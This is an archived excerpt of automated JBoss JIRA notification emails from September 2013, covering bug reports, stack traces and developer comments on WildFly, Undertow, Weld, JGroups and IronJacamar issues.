From jira-events at lists.jboss.org  Sun Sep  1 03:06:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Sun, 1 Sep 2013 03:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1978) undertow endless processing
 of jsp rendering
In-Reply-To: <JIRA.12499721.1377955430000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499721.1377955430000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499721.1377955430000.3246.1378019163492@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1978?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800739#comment-12800739 ] 

Stuart Douglas commented on WFLY-1978:
--------------------------------------

This should already be fixed in undertow upstream, which will make its way into WF this week.
                
> undertow endless processing of jsp rendering
> --------------------------------------------
>
>                 Key: WFLY-1978
>                 URL: https://issues.jboss.org/browse/WFLY-1978
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Thomas Fr?hbeck
>            Assignee: Stuart Douglas
>         Attachments: Undertow_servlet_spec_Loop.html.gz
>
>
> a working jsp page takes infinite time to render on some condition - reason unclear.
> Profiler CPU breakdown attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Sun Sep  1 04:57:03 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Sun, 1 Sep 2013 04:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1533) UT015005: Error invoking
 method requestDestroyed on listener class
In-Reply-To: <JIRA.12494311.1371222584000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494311.1371222584000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494311.1371222584000.3260.1378025823739@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1533?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800740#comment-12800740 ] 

Jozef Hartinger commented on WFLY-1533:
---------------------------------------

Juergen, would you be able to put together a minimal application that reliably reproduces the problem?
                
> UT015005: Error invoking method requestDestroyed on listener class 
> -------------------------------------------------------------------
>
>                 Key: WFLY-1533
>                 URL: https://issues.jboss.org/browse/WFLY-1533
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha2, 8.0.0.Alpha4
>            Reporter: Juergen Zimmermann
>            Assignee: Jozef Hartinger
>
> I'm using a WildFly snapshot with Undertow 1.0.0.Alpha19 and Weld 2.0.1.Final. I'm getting the following stacktrace:
> 16:55:04,534 ERROR [io.undertow.servlet.request] UT015005: Error invoking method requestDestroyed on listener class org.jboss.weld.servlet.WeldListener: java.lang.IllegalStateException: UT000010: Session not found MDEkG_Aum5OlXUsjh11kGkh9
> 	at io.undertow.server.session.InMemorySessionManager$SessionImpl.getAttribute(InMemorySessionManager.java:221) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.spec.HttpSessionImpl.getAttribute(HttpSessionImpl.java:106) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at org.jboss.weld.context.http.HttpConversationContextImpl.getSessionAttribute(HttpConversationContextImpl.java:25) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.context.http.HttpConversationContextImpl.getSessionAttribute(HttpConversationContextImpl.java:13) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.context.AbstractConversationContext.dissociate(AbstractConversationContext.java:161) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.ConversationContextActivator.disassociateConversationContext(ConversationContextActivator.java:162) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.HttpContextLifecycle.requestDestroyed(HttpContextLifecycle.java:159) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.WeldListener.requestDestroyed(WeldListener.java:91) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at io.undertow.servlet.core.ApplicationListeners.requestDestroyed(ApplicationListeners.java:196) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:159) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:114) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:47) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:90) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:607) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  1 19:58:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sun, 1 Sep 2013 19:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-4932) CLONE - Using session
 passivation results in WeldListener: java.lang.NullPointerException on
 normal operation
In-Reply-To: <JIRA.12467752.1338478401000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12467752.1338478401000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12467752.1338478401000.3414.1378079883682@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-4932?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800763#comment-12800763 ] 

RH Bugzilla Integration commented on AS7-4932:
----------------------------------------------

Russell Dickenson <rdickens at redhat.com> made a comment on [bug 900549|https://bugzilla.redhat.com/show_bug.cgi?id=900549]

Attention: Jitka Kudrnacova

The reason this issue was marked as to be excluded from Release Notes is that the deadline for information on the status of bugs for inclusion was Friday, August 30. Although this issue has now been fixed, we have no draft information from which to write a Release Notes entry. In the absence of such information we had no choice but to exclude it.
                
> CLONE - Using session passivation results in WeldListener: java.lang.NullPointerException on normal operation
> -------------------------------------------------------------------------------------------------------------
>
>                 Key: AS7-4932
>                 URL: https://issues.jboss.org/browse/AS7-4932
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Clustering
>    Affects Versions: 7.1.2.Final (EAP)
>            Reporter: Radoslav Husar
>            Assignee: Paul Ferraro
>            Priority: Blocker
>              Labels: as713tracking
>             Fix For: 7.1.3.Final (EAP)
>
>
> NPE is thrown in roughly 0.36% of HTTP session request processing in the test.
> This results in response code 503 returned to the client with the exception.
> The test is using passivation-enabled WAR of clusterbench 
> https://github.com/rhusar/clusterbench
> Here is a shorter soak test run that uncovered the issue 
> https://hudson.qa.jboss.com/hudson/view/EAP6/view/EAP6-Clustering-Soak/job/eap-6x-soak-http-repl-async-web-perf17only/6/
> {noformat}
> [JBossINF] 19:52:10,113 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[default-host]] (ajp-perf20/10.16.90.58:8009-2570) Exception sending request initialized lifecycle event to listener instance of class org.jboss.weld.servlet.WeldListener: java.lang.NullPointerException
> [JBossINF] 	at org.jboss.as.web.session.ClusteredSession.update(ClusteredSession.java:972) [jboss-as-web-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
> [JBossINF] 	at org.jboss.as.web.session.DistributableSessionManager.loadSession(DistributableSessionManager.java:1377) [jboss-as-web-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
> [JBossINF] 	at org.jboss.as.web.session.DistributableSessionManager.findSession(DistributableSessionManager.java:673) [jboss-as-web-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
> [JBossINF] 	at org.jboss.as.web.session.DistributableSessionManager.findSession(DistributableSessionManager.java:84) [jboss-as-web-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
> [JBossINF] 	at org.apache.catalina.connector.Request.doGetSession(Request.java:2618) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.catalina.connector.Request.getSession(Request.java:2375) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.catalina.connector.RequestFacade.getSession(RequestFacade.java:841) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.jboss.weld.context.beanstore.http.LazySessionBeanStore.getSession(LazySessionBeanStore.java:72) [weld-core-1.1.8.Final-redhat-1.jar:1.1.8.Final-redhat-1]
> [JBossINF] 	at org.jboss.weld.context.beanstore.http.LazySessionBeanStore.<init>(LazySessionBeanStore.java:58) [weld-core-1.1.8.Final-redhat-1.jar:1.1.8.Final-redhat-1]
> [JBossINF] 	at org.jboss.weld.context.http.HttpSessionContextImpl.associate(HttpSessionContextImpl.java:31) [weld-core-1.1.8.Final-redhat-1.jar:1.1.8.Final-redhat-1]
> [JBossINF] 	at org.jboss.weld.context.http.HttpSessionContextImpl.associate(HttpSessionContextImpl.java:16) [weld-core-1.1.8.Final-redhat-1.jar:1.1.8.Final-redhat-1]
> [JBossINF] 	at org.jboss.weld.servlet.WeldListener.requestInitialized(WeldListener.java:134) [weld-core-1.1.8.Final-redhat-1.jar:1.1.8.Final-redhat-1]
> [JBossINF] 	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:368) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.coyote.ajp.AjpProcessor.process(AjpProcessor.java:505) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.coyote.ajp.AjpProtocol$AjpConnectionHandler.process(AjpProtocol.java:452) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:931) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_30]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 01:11:03 2013
From: jira-events at lists.jboss.org (Fernando Ribeiro (JIRA))
Date: Mon, 2 Sep 2013 01:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBXB-194) Support for Ignoring
	Whitespace-Only Nodes
In-Reply-To: <JIRA.12382825.1238109013000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12382825.1238109013000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12382825.1238109013000.3459.1378098663428@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBXB-194?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Fernando Ribeiro reopened JBXB-194:
-----------------------------------


    
> Support for Ignoring Whitespace-Only Nodes
> ------------------------------------------
>
>                 Key: JBXB-194
>                 URL: https://issues.jboss.org/browse/JBXB-194
>             Project: JBoss XML Binding (JBossXB)
>          Issue Type: Feature Request
>    Affects Versions: JBossXB-1.0.0.SP3
>            Reporter: Fernando Ribeiro
>
> While accessing the detail of SOAP faults with JBossWS 3.0.1, I've realized the whitespace-only nodes described at http://www.w3.org/TR/1998/REC-xml-19980210#sec-element-content should be ignored.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 01:11:03 2013
From: jira-events at lists.jboss.org (Fernando Ribeiro (JIRA))
Date: Mon, 2 Sep 2013 01:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBXB-194) Support for Ignoring
 Whitespace-Only Nodes in SOAP Faults
In-Reply-To: <JIRA.12382825.1238109013000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12382825.1238109013000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12382825.1238109013000.3460.1378098663534@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBXB-194?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Fernando Ribeiro updated JBXB-194:
----------------------------------

    Summary: Support for Ignoring Whitespace-Only Nodes in SOAP Faults  (was: Support for Ignoring Whitespace-Only Nodes)

    
> Support for Ignoring Whitespace-Only Nodes in SOAP Faults
> ---------------------------------------------------------
>
>                 Key: JBXB-194
>                 URL: https://issues.jboss.org/browse/JBXB-194
>             Project: JBoss XML Binding (JBossXB)
>          Issue Type: Feature Request
>    Affects Versions: JBossXB-1.0.0.SP3
>            Reporter: Fernando Ribeiro
>
> While accessing the detail of SOAP faults with JBossWS 3.0.1, I've realized the whitespace-only nodes described at http://www.w3.org/TR/1998/REC-xml-19980210#sec-element-content should be ignored.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 01:11:03 2013
From: jira-events at lists.jboss.org (Fernando Ribeiro (JIRA))
Date: Mon, 2 Sep 2013 01:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBXB-194) Support for Ignoring
 Whitespace-Only Nodes in SOAP Faults
In-Reply-To: <JIRA.12382825.1238109013000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12382825.1238109013000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12382825.1238109013000.3462.1378098663700@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBXB-194?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Fernando Ribeiro closed JBXB-194.
---------------------------------

    Resolution: Rejected

    
> Support for Ignoring Whitespace-Only Nodes in SOAP Faults
> ---------------------------------------------------------
>
>                 Key: JBXB-194
>                 URL: https://issues.jboss.org/browse/JBXB-194
>             Project: JBoss XML Binding (JBossXB)
>          Issue Type: Feature Request
>    Affects Versions: JBossXB-1.0.0.SP3
>            Reporter: Fernando Ribeiro
>
> While accessing the detail of SOAP faults with JBossWS 3.0.1, I've realized the whitespace-only nodes described at http://www.w3.org/TR/1998/REC-xml-19980210#sec-element-content should be ignored.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 01:53:03 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Mon, 2 Sep 2013 01:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1075)
 ironjacamar-deployers-common.jar contains source files (*.java)
In-Reply-To: <JIRA.12499731.1378101155902@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499731.1378101155902@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499731.1378101155902.3513.1378101183434@jira02.app.mwc.hst.phx2.redhat.com>

Lin Gao created JBJCA-1075:
------------------------------

             Summary: ironjacamar-deployers-common.jar contains source files (*.java)
                 Key: JBJCA-1075
                 URL: https://issues.jboss.org/browse/JBJCA-1075
             Project: IronJacamar
          Issue Type: Bug
          Components: Build
    Affects Versions: 1.1.0.Final, 1.0.20.Final
            Reporter: Lin Gao
            Assignee: Lin Gao


There are .java files included in ironjacamar-deployers-common.jar:

{code}[lgao at dhcp-192-139 target]$ unzip -l ironjacamar-deployers-common.jar |grep ".java"
     8739  08-30-2013 16:30   org/jboss/jca/deployers/DeployersBundle_$bundle.java
     7944  08-30-2013 16:30   org/jboss/jca/deployers/DeployersLogger_$logger.java
{code}

The generated java file should not be packaged in the binary jar.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 01:55:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 01:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1075)
 ironjacamar-deployers-common.jar contains source files (*.java)
In-Reply-To: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499731.1378101155000.3515.1378101303853@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1075?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated JBJCA-1075:
-------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=996098

    
> ironjacamar-deployers-common.jar contains source files (*.java)
> ---------------------------------------------------------------
>
>                 Key: JBJCA-1075
>                 URL: https://issues.jboss.org/browse/JBJCA-1075
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Build
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>
> There are .java files included in ironjacamar-deployers-common.jar:
> {code}[lgao at dhcp-192-139 target]$ unzip -l ironjacamar-deployers-common.jar |grep ".java"
>      8739  08-30-2013 16:30   org/jboss/jca/deployers/DeployersBundle_$bundle.java
>      7944  08-30-2013 16:30   org/jboss/jca/deployers/DeployersLogger_$logger.java
> {code}
> The generated java file should not be packaged in the binary jar.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 02:13:03 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Mon, 2 Sep 2013 02:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1075)
 ironjacamar-deployers-common.jar contains source files (*.java)
In-Reply-To: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499731.1378101155000.3523.1378102383897@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1075?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lin Gao updated JBJCA-1075:
---------------------------

    Git Pull Request: https://github.com/ironjacamar/ironjacamar/pull/66

    
> ironjacamar-deployers-common.jar contains source files (*.java)
> ---------------------------------------------------------------
>
>                 Key: JBJCA-1075
>                 URL: https://issues.jboss.org/browse/JBJCA-1075
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Build
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>
> There are .java files included in ironjacamar-deployers-common.jar:
> {code}[lgao at dhcp-192-139 target]$ unzip -l ironjacamar-deployers-common.jar |grep ".java"
>      8739  08-30-2013 16:30   org/jboss/jca/deployers/DeployersBundle_$bundle.java
>      7944  08-30-2013 16:30   org/jboss/jca/deployers/DeployersLogger_$logger.java
> {code}
> The generated java file should not be packaged in the binary jar.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 02:29:03 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Mon, 2 Sep 2013 02:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1075)
 ironjacamar-deployers-common.jar contains source files (*.java)
In-Reply-To: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499731.1378101155000.3537.1378103343383@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1075?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lin Gao updated JBJCA-1075:
---------------------------

    Git Pull Request: https://github.com/ironjacamar/ironjacamar/pull/66, https://github.com/ironjacamar/ironjacamar/pull/67  (was: https://github.com/ironjacamar/ironjacamar/pull/66)

    
> ironjacamar-deployers-common.jar contains source files (*.java)
> ---------------------------------------------------------------
>
>                 Key: JBJCA-1075
>                 URL: https://issues.jboss.org/browse/JBJCA-1075
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Build
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>
> There are .java files included in ironjacamar-deployers-common.jar:
> {code}[lgao at dhcp-192-139 target]$ unzip -l ironjacamar-deployers-common.jar |grep ".java"
>      8739  08-30-2013 16:30   org/jboss/jca/deployers/DeployersBundle_$bundle.java
>      7944  08-30-2013 16:30   org/jboss/jca/deployers/DeployersLogger_$logger.java
> {code}
> The generated java file should not be packaged in the binary jar.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 02:29:03 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Mon, 2 Sep 2013 02:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1075)
 ironjacamar-deployers-common.jar contains source files (*.java)
In-Reply-To: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499731.1378101155000.3538.1378103343469@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1075?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800801#comment-12800801 ] 

Lin Gao commented on JBJCA-1075:
--------------------------------

Send PR for branch 1.1 and 1.0
                
> ironjacamar-deployers-common.jar contains source files (*.java)
> ---------------------------------------------------------------
>
>                 Key: JBJCA-1075
>                 URL: https://issues.jboss.org/browse/JBJCA-1075
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Build
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>
> There are .java files included in ironjacamar-deployers-common.jar:
> {code}[lgao at dhcp-192-139 target]$ unzip -l ironjacamar-deployers-common.jar |grep ".java"
>      8739  08-30-2013 16:30   org/jboss/jca/deployers/DeployersBundle_$bundle.java
>      7944  08-30-2013 16:30   org/jboss/jca/deployers/DeployersLogger_$logger.java
> {code}
> The generated java file should not be packaged in the binary jar.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 02:57:03 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Mon, 2 Sep 2013 02:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1928) jboss-as-standalone.sh does
 not work on MacOS
In-Reply-To: <JIRA.12499212.1377185444000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499212.1377185444000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499212.1377185444000.3568.1378105023486@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1928?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Thomas Diesler reassigned WFLY-1928:
------------------------------------

    Assignee:     (was: Thomas Diesler)


It should be possible to provide a script that provides start/stop/restart functionality for wildfly which generally runs on bash and does not make (possibly false) assumptions about the execution environment.
                
> jboss-as-standalone.sh does not work on MacOS
> ---------------------------------------------
>
>                 Key: WFLY-1928
>                 URL: https://issues.jboss.org/browse/WFLY-1928
>             Project: WildFly
>          Issue Type: Bug
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Thomas Diesler
>             Fix For: 8.0.0.Beta1
>
>
> {code}
> FuseFabric:karaf at root> process-start root 3
> bin/init.d/jboss-as-standalone.sh: line 12: /etc/init.d/functions: No such file or directory
> Error executing command: [bin/init.d/jboss-as-standalone.sh, start] exited with 1
> bin/init.d/jboss-as-standalone.sh: line 12: /etc/init.d/functions: No such file or directory
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 03:08:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 2 Sep 2013 03:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1684) NPE in UNICAST2.up()
In-Reply-To: <JIRA.12499446.1377612350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499446.1377612350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499446.1377612350000.3580.1378105683933@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1684?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1684.
----------------------------

    Resolution: Won't Fix


Hi Rado,

as I mentioned on the PR, I don't want to fix this, because then I'd not be able to find out why msg.getSrc() ever returns null. I'd rather find out in which scenarios this can happen. Can you reproduce this ?

Also, this is an ACK, so no harm in discarding it, as the ACK will get resent.
                
> NPE in UNICAST2.up()
> --------------------
>
>                 Key: JGRP-1684
>                 URL: https://issues.jboss.org/browse/JGRP-1684
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.10
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>
> {noformat}
> 11:53:25,993 ERROR [org.jgroups.protocols.UDP] (OOB-13,shared=udp) failed handling incoming message: java.lang.NullPointerException
> 	at java.util.concurrent.ConcurrentHashMap.get(ConcurrentHashMap.java:768) [rt.jar:1.6.0_45]
> 	at org.jgroups.protocols.UNICAST2.up(UNICAST2.java:432)
> 	at org.jgroups.protocols.pbcast.NAKACK.up(NAKACK.java:645)
> 	at org.jgroups.protocols.VERIFY_SUSPECT.up(VERIFY_SUSPECT.java:147)
> 	at org.jgroups.protocols.FD.up(FD.java:253)
> 	at org.jgroups.protocols.FD_SOCK.up(FD_SOCK.java:288)
> 	at org.jgroups.protocols.MERGE3.up(MERGE3.java:290)
> 	at org.jgroups.protocols.Discovery.up(Discovery.java:359)
> 	at org.jgroups.protocols.TP$ProtocolAdapter.up(TP.java:2610)
> 	at org.jgroups.protocols.TP.passMessageUp(TP.java:1263)
> 	at org.jgroups.protocols.TP$IncomingPacket.handleMyMessage(TP.java:1825)
> 	at org.jgroups.protocols.TP$IncomingPacket.run(TP.java:1798)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) [rt.jar:1.6.0_45]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) [rt.jar:1.6.0_45]
> 	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_45]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 03:25:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 03:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-49) EJB2 CMP - NullPointerException
 if the entity-bean.bean-instance-pool is configured
In-Reply-To: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483529.1359133735000.3664.1378106704540@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-49?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800816#comment-12800816 ] 

